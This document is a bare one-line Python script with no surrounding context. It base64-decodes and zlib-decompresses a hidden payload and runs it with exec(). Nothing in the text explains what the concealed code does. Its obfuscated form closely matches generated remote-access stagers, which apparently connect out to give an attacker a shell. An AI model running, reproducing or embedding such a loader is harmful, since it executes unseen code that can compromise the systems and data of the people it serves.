exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LAzEQPW9+xd6SwTRsZVuhuIKIBxERrDcR2U2mNWw2CUmqq+J/tyHFywzvzZs3H3ryLqQ6Ojli4t9GD3zoI65bHlM4yMSTnpDsXKjnWts69HaPbNnAhlQpfB1jFbvSLEpi5/yEt48392/b56fb6wfIOiGdtSgTY7QRSXph98GNQjvKl6uLtoGsGgL2I6lwluhTts/zRTSInq2AmK6sJQ7W93Jk9OqO8igCyg/WArw0r0R1J2yAfL5rg7VByxRcmqOdOvuvLgoNBGeULF8uFEo3+YAxsvIEMazbTCrMSv5DI93EXyB/Uaxhzw==')[0])))